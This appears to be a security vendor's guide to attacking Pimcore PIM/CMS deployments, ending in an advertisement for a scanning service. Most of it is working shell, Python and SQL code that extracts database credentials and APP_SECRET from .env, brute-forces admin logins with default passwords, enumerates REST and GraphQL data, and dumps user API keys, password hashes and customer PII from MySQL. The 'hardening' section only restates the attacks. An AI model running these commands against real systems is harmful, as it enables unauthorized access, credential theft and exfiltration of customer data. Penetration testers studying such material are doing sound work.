Pimcore Security Testing: Default Credentials, API Key, Database, and PIM

Pimcore is an enterprise open-source PIM (Product Information Management), CMS, and DXP platform built on Symfony — used by large organizations to manage product catalogs, customer data, and digital assets. Key assessment areas: the .env file exposes MySQL DATABASE_URL credentials and APP_SECRET (Symfony secret key); admin credentials are frequently weak at /admin/; the REST API and GraphQL API expose data objects and assets; and the asset manager's file upload functionality may allow PHP webshell uploads. This guide covers systematic Pimcore security assessment.

Table of Contents

  1. .env MySQL Credential and APP_SECRET Extraction
  2. REST API Bearer Token and GraphQL Endpoint Assessment
  3. MySQL Data Object and Customer PII Extraction
  4. Pimcore Security Hardening

.env MySQL Credential and APP_SECRET Extraction

# Pimcore — .env MySQL credential and APP_SECRET extraction
PIMCORE_URL="https://pimcore.example.com"

# .env — Pimcore/Symfony environment configuration (CRITICAL)
cat /var/www/pimcore/.env 2>/dev/null
# DATABASE_URL="mysql://pimcore:password@localhost/pimcore"
# APP_SECRET=abc123...   <-- Symfony secret key (session cookie forgery)
# PIMCORE_INSTALL_ADMIN_PASSWORD=admin  <-- installer password

# var/config/system.php or config/local.php (older Pimcore 5/6)
cat /var/www/pimcore/var/config/system.php 2>/dev/null | head -30

python3 -c "
import re, os
env_file = '/var/www/pimcore/.env'
content = open(env_file).read() if os.path.exists(env_file) else ''
patterns = {
    'DATABASE_URL': r'DATABASE_URL=[\"\']*([^\s\"\']+)',
    'APP_SECRET': r'APP_SECRET=[\"\']*([^\s\"\']+)',
    'REDIS_URL': r'REDIS_URL=[\"\']*([^\s\"\']+)',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null

# Test admin credentials at /admin/
for CRED in "admin:admin" "admin:pimcore" "pimcore:pimcore" "admin:Admin1234"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -X POST "${PIMCORE_URL}/admin/login/check" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
  [ -n "$TOKEN" ] && echo "SUCCESS: ${USER} — token: ${TOKEN:0:20}..." || echo "FAILED: ${USER}/${PASS}"
done

REST API Bearer Token and GraphQL Endpoint Assessment

# Pimcore REST/Data API and GraphQL — token and endpoint assessment
PIMCORE_URL="https://pimcore.example.com"

# Pimcore REST API — admin token authentication
# POST /admin/login → returns pimcore_admin_sid session cookie
ADMIN_SID=$(curl -s -X POST "${PIMCORE_URL}/admin/login/check" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' \
  -c /tmp/pimcore_c 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)

# Enumerate data objects via REST API
curl -s "${PIMCORE_URL}/webservice/rest/object-list?condition=&limit=50&offset=0" \
  -H "Authorization: Bearer ${ADMIN_SID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total objects: {d.get(\"total\")}')
for obj in d.get('data',[])[:5]:
    print(f'  id={obj.get(\"id\")} class={obj.get(\"className\")} key={obj.get(\"key\")}')
" 2>/dev/null

# Pimcore GraphQL API endpoint
curl -s -X POST "${PIMCORE_URL}/pimcore-graphql-webservices/default" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: extracted-api-key" \
  -d '{"query":"{ __schema { types { name } } }"}' 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
types = [t['name'] for t in d.get('data',{}).get('__schema',{}).get('types',[]) if not t['name'].startswith('__')]
print('Available types:', ', '.join(types[:20]))
" 2>/dev/null

# API keys stored in database — pimcore_users table
DB_URL="mysql://pimcore:extracted-password@localhost/pimcore"
mysql -u pimcore -p"extracted-password" pimcore 2>/dev/null << 'EOF'
-- Pimcore users (admin and API users)
SELECT u.id, u.username, u.email, u.password, u.admin, u.apiKey
FROM users u
WHERE u.type = 'user'
ORDER BY u.id
LIMIT 20;
-- apiKey: plaintext API key for REST/Data API access
-- password: SHA-512 or bcrypt hashed
EOF

MySQL Data Object and Customer PII Extraction

# Pimcore MySQL database — data object and customer PII extraction
DB_PASS="extracted-password"

mysql -u pimcore -p"${DB_PASS}" pimcore 2>/dev/null << 'EOF'
-- List all data object classes (schema discovery)
SELECT c.id, c.name, c.description, c.modificationDate
FROM classes c
ORDER BY c.modificationDate DESC
LIMIT 20;
-- Each class has its own table: object_query_[class_id]

-- List all data objects with their paths
SELECT o.id, o.path, o.key, o.classname, o.published,
       o.modificationDate
FROM objects o
WHERE o.published = 1
ORDER BY o.modificationDate DESC
LIMIT 30;

-- Customer data objects (if class named Customer exists)
-- Query the auto-generated object table
-- SELECT * FROM object_query_XX LIMIT 10;  -- XX = class ID from classes table

-- Assets listing (files managed by Pimcore asset manager)
SELECT a.id, a.path, a.filename, a.filesize, a.mimetype,
       a.modificationDate
FROM assets a
WHERE a.type = 'document'
OR a.mimetype LIKE 'application/pdf'
ORDER BY a.modificationDate DESC
LIMIT 20;

-- Users with API keys and admin status
SELECT u.username, u.email, u.apiKey, u.admin, u.active
FROM users u
WHERE u.active = 1 AND u.type = 'user'
ORDER BY u.admin DESC
LIMIT 20;
EOF

Pimcore Security Hardening

Pimcore Security Hardening Checklist:
Security TestMethodRisk
.env DATABASE_URL MySQL credentials and APP_SECRET extractionRead /var/www/pimcore/.env — MySQL credentials for all PIM data; APP_SECRET enables Symfony session cookie forgery as any user including administratorsCritical
Admin credential brute-force (admin/admin, admin/pimcore)POST /admin/login/check — admin session token; full PIM data access, data object management, asset manager, user administrationHigh
REST API user API key extractionMySQL SELECT apiKey FROM users — plaintext API keys; programmatic access to all data objects and assets at the user's permission levelHigh
Data object and customer PII extraction via REST APIGET /webservice/rest/object-list — all published data objects; customer, product, and content data based on installed Pimcore classesHigh
GraphQL schema introspection and data enumerationPOST /pimcore-graphql-webservices/default with __schema query — full type system; targeted queries for customer and product data objectsMedium

Automate Pimcore Security Testing

Ironimo tests Pimcore deployments for .env DATABASE_URL MySQL credential and APP_SECRET web exposure, admin/admin and admin/pimcore credential brute-force at /admin/login/check, REST API user API key plaintext extraction from users table, data object enumeration via /webservice/rest/object-list, GraphQL schema introspection at /pimcore-graphql-webservices/, asset manager file upload PHP execution assessment, users.password SHA-512 hash extraction, Symfony debug toolbar exposure (APP_DEBUG=true), PIMCORE_INSTALL_ADMIN_PASSWORD environment variable disclosure, and /admin/ IP restriction assessment.

Start free scan